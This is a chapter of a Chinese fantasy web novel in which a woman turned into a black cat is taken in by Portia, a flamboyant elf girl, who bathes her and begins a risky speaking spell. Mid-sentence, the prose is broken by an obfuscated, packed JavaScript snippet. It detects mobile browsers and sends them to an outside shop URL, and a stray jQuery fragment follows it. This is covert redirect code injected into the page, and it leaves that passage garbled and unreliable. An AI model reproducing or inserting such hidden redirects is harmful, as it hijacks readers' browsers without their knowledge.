学生并不代表着减少威胁。她没少见心性残忍的未成年人。 啪嗒——啪嗒——这个人奔跑着,一路上撞到了不少东西,终于停在了一扇门前。厄拉感到两只手臂将包裹箍紧了,狭窄的书包里让人喘不过来气。 这个人在敲门——叩、叩、叩。 吱呀一声,门开了,一个中气十足的声音响起: “天哪,鲍西娅小姐,你从哪里野了一圈,身上脏兮兮的?你看你的袜子全都黑了,还有刘海,怎么全部飞起来了?” “我是跑回家的。别说了阿姨,我要上厕所,快让我进去!” “小姐,将军过几天就要回来了,她到时候可不希望见到您这幅莽撞毛躁的样子!” 这位”鲍西娅小姐”冲进门,在走过一段长长的走廊后,拐进了一个房间,门砰的一声摔在身后。 厄拉听她喘着粗气,然后轻轻地掀开书包的前盖。厄拉的眼前一下子光亮了。 映入眼帘的首先是一只手,在颤抖,指甲很长,每根手指上的款式不同,有豹纹的、纯亮粉色的、格纹的,都色彩鲜明,夺人眼球。此外还有戒指和繁复的手链,上面布满了猫咪和星星元素,一闪一闪的晃眼睛。 “小猫咪,你好哦!”一个捏着嗓子的甜滋滋的声音,像是在糖水里滚了好几圈的硬糖,腻歪到让人起一身鸡皮疙瘩。 厄拉被抱起来了,留着长指甲的双手把玩着她的身体,不断地调整角度。 厄拉大致扫视了一圈房间,不禁叹为观止。 室内装潢完全是极繁主义的范本:整体以粉、黑色调为主,墙上被形形色色的海报糊满,还粘上了数不清的挂钩,上面悬挂着各种大小、各种花纹的猫形毛绒娃娃;桌子上书垒得有半个人那么高,纸张和羽毛笔凌乱地见缝插针摆着;床上、柜子上展览一般搭着各色皮带、帽子、头巾、发卡、眼镜、高跟鞋、超短裙、丝袜,还有从高到低站成一列的石膏娃娃,最角落的人体模型上还穿着一件粉到过分的蓬蓬裙。整间屋子满的连下脚的地方都没有,若非亲眼所见,厄拉绝不相信一块地可以这么被有效利用。 目不暇接、琳琅满目大概就是这样。厄拉还没有适应过来,眼前突然出现了一张大脸。 我的妈呀! 厄拉差点把魂吓飞了。眼前的女孩子,画着夸张的妆容,浓墨重彩的全包眼线,只有内眼角刷了白色珠光眼影,假睫毛厚重得似乎眨一下眼能扇死一个人,又细又淡的眉毛,大片的正粉色腮红,透明色果冻唇。她的原生发色应该是金棕色,但已经被她挑染了几撮粉毛,统一在脑后扎起了一个高高的马尾。 最重要的是,她的耳朵又长又尖,这就说明,她——是精灵! 是厄拉心目中最高雅不食人间烟火、让她魂牵梦绕许久、几乎确定她审美标准的精灵! 她小时候曾经一口气追完畅销言情小说《密林世家》,这个讲述了人与精灵的旷世恋情的故事让她对精灵拥有了一层永恒完美的滤镜。精灵应该是像水仙花一样清新美丽、一尘不染的啊,怎么能打扮成这幅特立独行的模样呢! 咔哒,她心里的某种信念崩塌了。 但鲍西娅却兴致勃勃,摆弄着她的身体,看了又看。 “真的是纯黑的呀,一点杂色都没有,太美了!” 太美了——这大概是岛上第一个这么夸她的人吧。 鲍西娅一屁股坐到软软的床上,顺势向后一趟,将厄拉高高举起:厄拉这才注意到,她的学生制服也是裁剪过的,裙摆刚到大腿,下面是长款的白丝袜。 鲍西娅注意到她表情有点恹恹的,于是很友善地一笑: “你别害怕,我不会伤害你的。我就想养一只猫,而且一定要跟所有人的都不一样。这不正好,你来了,这一定是缘分!岛上人说黑猫的灵魂是邪恶的,不过若是你真的那么坏,怎么会被他们追杀还不还手呢?你说是不是?” 看来这个女孩不仅明察秋毫、还通情达理,厄拉认定她是个可以争取的对象,于是连忙点头,证明自己能听得懂人话。 不过,鲍西娅没有看出来:“小猫,你还挺通人性。” 她把她搂在怀里,不顾她脏,温柔地抚摸着她的背:“我要给你起个名字。我叫波波,那你就叫皮皮。皮皮,皮皮!” 厄拉不是很想答应这个名字,但为了进一步加深自己精通人性,不,本来就是人的印象,还是不情不愿地“咪”了一声。 “你喜欢呀,太好了!”鲍西娅正准备低下头亲她脑袋,但真到要上嘴的时候,还是觉得有点脏,过不了心里那一关“你等着,我去给你接盆水洗洗澡。” 她站起来,掀开床单,小心翼翼地把厄拉藏到床底下。 “你千万不要出来哦,被阿姨发现了就糟了。” 一只猫能在屋子里无声无息藏多久?厄拉知道这不是长久之计,但考虑到她现在的处境属于出门就是找死,那能在鲍西娅的庇佑下能舒坦几天就舒坦几天吧。 鲍西娅打开房门,迎面撞上阿姨。厄拉变成猫后,听觉变得敏锐,即使隔着一扇门,两人的谈话也能听得一清二楚。 “小姐,你的房间太乱了,要好好打扫一下。” “我觉得不是很乱呀。” “真的吗?我看看···” “您别进去!该收拾时,我自己会收拾的。” 阿姨叹了一口长气:“小姐啊,有些话不用我说,你自己心里也该明白。若是将军回家,见到您···穿成这样不三不四的样子,房间也一塌糊涂,她肯定会发火的。您是她贴心的女儿,她在外征战已经身心俱疲,您就不能让她回家时欣慰些吗?” 鲍西娅似乎语塞了,迟迟没有回答。 “小姐?” “反正每次她回来,我都要挨一顿骂,骂来骂去的,我早就习惯了。” “哎,您要是改了,不就没有那么多事儿了。” “我就是不明白,到底有哪里是要改的,我这样子是做错了吗?” 阿姨顿了顿:“不是错,只是不能让将军满意。” “哼,世上真能找出让她满意的人吗?我看陛下在她眼里都差点本事吧。” “哎哎!” 紧接着是远去的脚步声,看来是鲍西娅强行掐断了这番交流。 怎么又来一个和妈妈关系不好的?厄拉吐槽,这岛上的爸爸都干嘛去了,这么漠视子女教育的吗? 话说起来,鲍西娅的妈妈是将军,听起来还是经常外出作战的将军。前不久在报纸上,好像也有一个将军,就在这几天凯旋归来。叫啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444050|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字来着? 厄拉冥思苦想间,鲍西娅已经把热水和肥皂端进来了。她嘴里“咄咄”两声,厄拉立刻从床底下探出头来。鲍西娅还是笑眯眯的,一点不像经历过一场争执。 “皮皮,来洗澡啦!” 鲍西娅的动作很轻柔,长指甲偶尔蹭过厄拉的皮肤,不疼,有点痒。肥皂水带了一盆子的污渍下来,鲍西娅一边擦拭着她的爪子,一边感叹道: “黑色果然耐脏,这么厚的灰尘,光看外表竟然显不出来。” 这话听着,似乎她马上就会把墙角的粉色连衣裙换成黑色一样。 她的手抚过厄拉的脖子,摸到了她那一串琥珀项链——因为这琥珀吊坠的颜色与玛丽安的眼睛一模一样,厄拉才一眼相中,买下了它,经过几番颠沛,它还是完好无损。 “你原先是有主人的吗?”鲍西娅问。 如果我说,我的主人原来是我自己,你信吗? 厄拉觉得人与动物之间语言不同实在是个大问题,尤其是在她能听懂人话,却回复不了的时候。打个不恰当的比喻,这就像别人给了你脸上一拳,而你手脚俱被捆绑,无法还击,非常的无力不甘。 厄拉抬起眼看着鲍西娅。浓妆之下,她有一张很单纯未经世事的脸,没有那么多的心计和花花肠子。厄拉漂泊多年,自诩看人的本领还是有的。至少面相好坏她能分辨。尤其精灵种族在她这里是加分项,初次见面无一例外都是大好人。她想,鲍西娅看来是不会害她的,她可以向她求助。 首先是要解决交流问题。不能说话,那就写下来吧。 趁着鲍西娅去倒水的空隙,浑身清爽干净的厄拉一跃蹦上她的书桌,咬出一张空白的纸,又费了老大的劲 咬开墨水瓶,险些将黑水泼得满桌都是。她拿指甲蘸了墨,歪歪扭扭地在纸上写起字来。 鲍西娅开关门的速度迅疾,就像防止身后会有鬼跟进来一样。不过,一进门,看见猫咪在写字,和真见鬼也没什么区别。她捂住嘴,差点尖叫出声。 可惜厄拉用爪子写字的功力尚不纯熟,字迹歪歪扭扭如同蜈蚣乱爬暂且不论,还时不时用力过猛把纸张戳一个洞。最后写出来的东西,勉强能看出来是字,但辨认内容难如登天。 鲍西娅的神色空白,她研究半天厄拉的好不容易写下的几行字,也没有搞懂是什么意思。 厄拉乐观,想着熟能生巧,再让她写一次,她一定能把握好走势和力道。但鲍西娅很疑惑地看着她,问: “皮皮,你竟然会写字,不对,难道你是有什么话想要对我说吗?” 是的是的,真聪明,厄拉敲鼓一样点头。 “既然这样,我给你施个法术吧,”鲍西娅转头打开了衣柜的一个夹层,里面挂满了各种式样的魔杖——厄拉真的要怀疑她有收集癖了——她取出了一根短的、冬青木的魔杖,“虽然我也没试过,不过应该不难。” 不难···吗?厄拉记得曾经见过一个巫师想施法让他的猫头鹰说话,一个不慎把它变成了哑巴。这个法术需要对魔力精准地控制,才能准确重塑动物的器官。这种改变机能的法术,说实话还挺危险的——对承受魔法的生物来说。 “你躲什么呀,别跑,没事的!”鲍西娅一把搂住想要躲开的厄拉,把她束缚在怀里,无视她的挣扎,嘴里已经开始吟诵咒语。 完了—— 厄拉绝望地闭上眼。